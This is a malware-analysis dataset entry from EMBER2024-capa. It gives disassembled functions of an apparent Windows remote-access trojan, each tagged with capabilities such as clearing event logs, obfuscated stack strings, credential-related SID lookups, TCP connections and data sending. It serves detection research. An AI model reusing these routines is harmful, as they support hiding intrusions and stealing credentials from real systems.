joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402340
Capabilities:
Enumerate devices by category

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46663b
push eax
mov dword fs:[0], esp
sub esp, 0x824
lea eax, [esp + 0xc]
push ebp
push eax
xor ebp, ebp
push 0x46a534
push 1
push ebp
push 0x46a5c4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x402382
or eax, 0xffffffff
jmp 0x4024b3
mov dword [esp + 4], 0
mov eax, dword [esp + 0x10]
lea edx, [esp + 4]
push 0
push edx
mov ecx, dword [eax]
push 0x46a5b4
push eax
mov dword [esp + 0x840], 0
call dword [ecx + 0xc]
test eax, eax
je 0x4023d0
mov eax, dword [esp + 4]
mov dword [esp + 0x830], 0xffffffff
test eax, eax
je 0x4023c8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or eax, 0xffffffff
jmp 0x4024b3
mov eax, dword [esp + 4]
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp + 4]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0xc]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x402498
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x47210c
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x40246e
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x20]
push 0
mov word [esp + 0x24], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x402464
mov ecx, dword [esp + 0x28]
push eax
push eax
lea eax, [esp + 0x38]
push 0x800
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
inc ebp
call esi
mov edx, dword [esp + 0x28]
push edx
call edi
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x402406
pop edi
pop esi
mov eax, dword [esp + 4]
mov dword [esp + 0x830], 0xffffffff
test eax, eax
je 0x4024b1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, ebp
mov ecx, dword [esp + 0x828]
pop ebp
mov dword fs:[0], ecx
add esp, 0x830
ret 4
Function at 0x4028b0
Capabilities:
Enumerate devices by category

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x466680
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push edi
mov edi, dword [esp + 0x34]
xor ebx, ebx
cmp edi, ebx
jge 0x4028e9
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 8], ebx
lea eax, [esp + 8]
mov dword [esp + 0x2c], ebx
push eax
push 0x46a534
push 1
push ebx
push 0x46a5c4
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
je 0x402938
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x402982
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 0x34], ebx
mov eax, dword [esp + 8]
lea ecx, [esp + 0x34]
push ebx
push ecx
mov edx, dword [eax]
push 0x46a5b4
push eax
mov byte [esp + 0x3c], 1
call dword [edx + 0xc]
cmp eax, ebx
je 0x402997
mov eax, dword [esp + 0x34]
mov byte [esp + 0x2c], bl
cmp eax, ebx
je 0x40296c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x402982
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov eax, dword [esp + 0x34]
push esi
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
push 1
push eax
xor esi, esi
call dword [ecx + 0xc]
cmp edi, ebx
jl 0x402a56
push ebp
mov ebp, dword [esp + 0x40]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x40]
push edx
push 0x47210c
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x402a2c
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x1c]
push ebx
mov word [esp + 0x20], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jne 0x402a22
cmp esi, edi
jne 0x402a17
mov eax, dword [esp + 0x14]
push ebp
push 0x46a524
push ebx
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x20]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
inc esi
call dword [ecx + 0xc]
cmp esi, edi
jle 0x4029c7
pop ebp
mov eax, dword [esp + 0x38]
mov byte [esp + 0x30], bl
cmp eax, ebx
pop esi
je 0x402a69
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x402a7f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [esp + 0x24]
pop edi
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
Function at 0x403130
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x4666e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.00401950
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.00401950
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.00401950
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.00401950
lea eax, [esp + 0xc]
mov byte [esp + 0x1a4], 3
push eax
push 0x202
mov dword [esi], 0x46a430
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [0x477a3c]
mov byte [esp + 4], 0x4b
mov byte [esp + 5], 0x72
mov byte [esp + 6], 0x69
mov byte [esp + 7], 0x73
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov byte [esi + 0xb5], 0
mov byte [esp + 8], 0x52
mov byte [esp + 9], 0x61
mov dword [ecx], edx
mov dx, word [esp + 8]
mov dword [esi + 0xac], eax
mov word [ecx + 4], dx
mov al, 0x74
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 6], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x403300
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.00403800
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
mov byte [esi + 0xb5], 0
mov eax, dword [0x477a40]
test eax, eax
je 0x40333d
cmp eax, 4
je 0x40333d
cmp eax, 5
je 0x40333d
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x40335e
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [0x477a40]
test eax, eax
je 0x40336e
push 0x477a44
jmp 0x403373
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x403389
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [0x477a40]
mov word [esp + 0x18], 2
test eax, eax
je 0x4033a3
mov dx, word [0x475418]
push edx
jmp 0x4033a8
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov ecx, dword [edi + 0xc]
push 0x10
mov edx, dword [ecx]
lea ecx, [esp + 0x1c]
push ecx
mov eax, dword [edx]
mov edx, dword [esi + 0xa8]
push edx
mov dword [esp + 0x28], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4033e1
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov ecx, dword [esi + 0xa8]
lea eax, [esp + 0xb]
push 1
push eax
push 8
push 0xffff
push ecx
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x40343f
mov ecx, dword [esi + 0xa8]
push eax
lea edx, [esp + 0xf]
push eax
push edx
push eax
push eax
lea eax, [esp + 0x20]
push 0xc
push eax
push 0x98000004
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0x2bf20
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x403470
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.0040f640
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8

Function at 0x403a60
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x14], 0
jb 0x403aca
mov dword [esp + 0x1c], 0
mov eax, dword [ebx + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403aa9
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x403a86
cmp dword [esp + 0x1c], 0xf
je 0x403b00
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [0x477a28]
sub ebp, esi
cmp ebp, esi
jae 0x403a7e
test ebp, ebp
jle 0x403af4
xor esi, esi
mov ecx, dword [ebx + 0xa8]
push 0
push ebp
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403aeb
inc esi
cmp esi, 0xf
jl 0x403ad0
cmp esi, 0xf
je 0x403b00
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x403b03
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x4040e0
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x210
mov eax, 0x100
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x404101
add esp, 0x210
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
lea ecx, [esp + 0x114]
push edx
push ecx
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x404131
add esp, 0x210
ret
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x404147
add esp, 0x210
ret
push esi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x404171
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
push edx
call eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esp + 4]
pop esi
add esp, 0x210
ret

Function at 0x404400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x130
push esi
mov esi, ecx
mov dl, 0x44
mov cl, 0x73
mov byte [esp + 7], dl
mov byte [esp + 0x1e], dl
mov al, 0x61
mov byte [esp + 6], cl
mov byte [esp + 0x10], cl
mov byte [esp + 0x13], cl
mov byte [esp + 0x1d], cl
mov dl, 0x65
mov byte [esp + 0x2f], cl
push edi
mov ecx, esi
mov byte [esp + 8], 0x52
mov byte [esp + 9], al
mov byte [esp + 0xc], 0x69
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x6c
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x6d
mov byte [esp + 0x15], 0x21
mov byte [esp + 0x16], 0x25
mov byte [esp + 0x18], 0x23
mov byte [esp + 0x19], 0x30
mov byte [esp + 0x1a], 0
mov byte [esp + 0x1c], 0x4c
mov byte [esp + 0x1d], 0x24
mov byte [esp + 0x1e], 0x5f
mov byte [esp + 0x1f], 0x52
mov byte [esp + 0x20], al
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0x66
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x43
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x64
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x34], 0x23
mov byte [esp + 0x35], 0x30
mov byte [esp + 0x36], 0
call fcn.004040e0
push eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x38]
mov ecx, esi
push edx
call fcn.004041e0
mov edi, eax
test edi, edi
je 0x40452c
mov ax, word [edi]
mov ecx, dword [edi + 4]
push eax
push ecx
mov ecx, esi
call fcn.00404270
mov edx, dword [edi + 4]
push edx
call sub.ADVAPI32.dll_LsaFreeMemory
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.004041e0
mov edi, eax
test edi, edi
je 0x404556
mov cx, word [edi]
mov edx, dword [edi + 4]
push ecx
push edx
mov ecx, esi
call fcn.00404270
mov eax, dword [edi + 4]
push eax
call sub.ADVAPI32.dll_LsaFreeMemory
pop edi
pop esi
add esp, 0x130
ret
Function at 0x405690
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46a458
push 0x465c72
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
call sub.MSVCRT.dll_malloc
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x4057ea
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x40573b
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x40573b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x405716
cmp al, 0x5c
je 0x405716
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x4056fe
cmp byte [esi], 0
je 0x40571f
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x405734
cmp al, 0x5c
je 0x405734
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40571c
cmp byte [esi], 0
je 0x40575a
jmp 0x405756
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x40575a
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40575a
cmp al, 0x5c
jne 0x40575a
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x4057b0
cmp al, 0x5c
jne 0x4057a2
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x405795
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x40579f
call dword [0x477d78]
cmp eax, 0xb7
je 0x40579f
push edi
jmp 0x4057e2
and eax, 0x10
cmp al, 0x10
je 0x40579f
push edi
jmp 0x4057e2
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x405760
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.00465c6c
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00465c6c
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405ac0
Capabilities:
Get disk information
Get file system object information

Disassembly:
sub esp, 0x784
push ebp
lea eax, [esp + 0x128]
push esi
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x68
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
mov esi, 1
lea ebp, [esp + 0x12c]
test al, al
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
mov dword [esp + 8], esi
je 0x405c65
push ebx
push edi
jmp 0x405b1e
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esp + 0x344]
push eax
call edi
lea ecx, [esp + 0x30]
mov ebx, eax
push ecx
inc ebx
call edi
inc eax
mov dword [esp + 0x18], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x405bcc
cmp al, 0x42
je 0x405bcc
lea edx, [esp + 0x1c]
push 0
lea eax, [esp + 0x28]
push edx
push eax
push ebp
call dword [0x477d70]
test eax, eax
je 0x405bcc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ecx, 0x14
call fcn.00465c80
mov edx, dword [esp + 0x28]
mov edi, eax
mov eax, dword [esp + 0x24]
mov ecx, 0x14
call fcn.00465c80
mov dword [esp + 0x14], eax
jmp 0x405bd2
xor edi, edi
mov dword [esp + 0x14], edi
mov cl, byte [ebp]
push ebp
mov byte [esp + esi + 0x398], cl
call dword [0x477d74]
mov edx, dword [esp + 0x14]
mov byte [esp + esi + 0x395], al
mov eax, dword [esp + 0x10]
mov dword [esp + esi + 0x396], edi
mov ecx, ebx
mov dword [esp + esi + 0x39a], edx
mov edx, ecx
lea esi, [esp + 0x344]
lea edi, [esp + eax + 0x39e]
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebx + eax]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
lea esi, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, ebx
lea edx, [eax + ecx + 0xa]
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, dword [esp + 0x10]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x405b1c
pop edi
pop ebx
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x38c]
push esi
push eax
call fcn.0040ada0
pop esi
pop ebp
add esp, 0x784
ret
Function at 0x407c60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x64
push esi
push edi
mov edi, dword [esp + 0x70]
push 0x2f
push edi
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 8
inc esi
jne 0x407c81
pop edi
xor al, al
pop esi
add esp, 0x64
ret
push esi
push edi
call fcn.0040f9a0
add esp, 8
test al, al
jne 0x407c95
pop edi
pop esi
add esp, 0x64
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
mov edx, 0x44
rep stosd dword es:[edi], eax
mov cl, 0x74
mov dword [esp + 0x28], edx
mov byte [esp + 0xc], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x10], dl
lea ecx, [esp + 0x18]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push 0
push 0
mov al, 0x61
push 0
push 0
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
push 0
lea eax, [esp + 0x28]
push 0
push esi
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x36], 0x30
mov byte [esp + 0x37], 0x5c
mov byte [esp + 0x39], 0x65
mov byte [esp + 0x3a], 0x66
mov byte [esp + 0x3c], 0x75
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3f], 0
mov dword [esp + 0x58], eax
call dword [0x477dc4]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x64
ret
Function at 0x407f80
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0xd], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov byte [esp + 0x23], al
mov bl, 0x53
mov byte [esp + 0x11], dl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], cl
mov byte [esp + 9], cl
mov byte [esp + 0xb], al
mov byte [esp + 0xc], dl
push esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push edi
mov byte [esp + 0x18], bl
mov byte [esp + 0x10], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x29], 0x63
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x20], 0
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x15], 0x6d
mov byte [esp + 0x16], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
lea edi, [esp + 0x30]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call ebp
mov esi, eax
test esi, esi
je 0x408055
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x408038
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x4082b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov al, 0x4e
mov cl, 0x43
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
xor al, al
push esi
mov esi, dword [esp + 0x2c]
mov byte [esp + 0x24], al
mov byte [esp + 0x19], al
mov byte [esp + 0x11], al
mov byte [esp + 8], al
lea eax, [esp + 4]
mov byte [esp + 0x1c], cl
mov byte [esp + 0x21], cl
push 4
mov dl, 0x54
mov cl, 0x20
push eax
push esi
mov byte [esp + 0x29], 0x4f
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], 0x4f
mov byte [esp + 0x22], 0x53
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], cl
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x44
mov byte [esp + 0x1c], cl
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x45
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], cl
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x40835d
mov ecx, dword [esp + 0x30]
mov eax, 1
pop esi
mov dword [ecx], 4
add esp, 0x24
ret
lea edx, [esp + 0xc]
push 5
push edx
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x408385
mov eax, dword [esp + 0x30]
pop esi
mov dword [eax], 5
mov eax, 2
add esp, 0x24
ret
lea ecx, [esp + 0x14]
push 5
push ecx
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x4083ad
mov edx, dword [esp + 0x30]
mov eax, 3
pop esi
mov dword [edx], 5
add esp, 0x24
ret
lea eax, [esp + 0x1c]
push 8
push eax
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x4083d5
mov ecx, dword [esp + 0x30]
mov eax, 4
pop esi
mov dword [ecx], 8
add esp, 0x24
ret
xor eax, eax
pop esi
add esp, 0x24
ret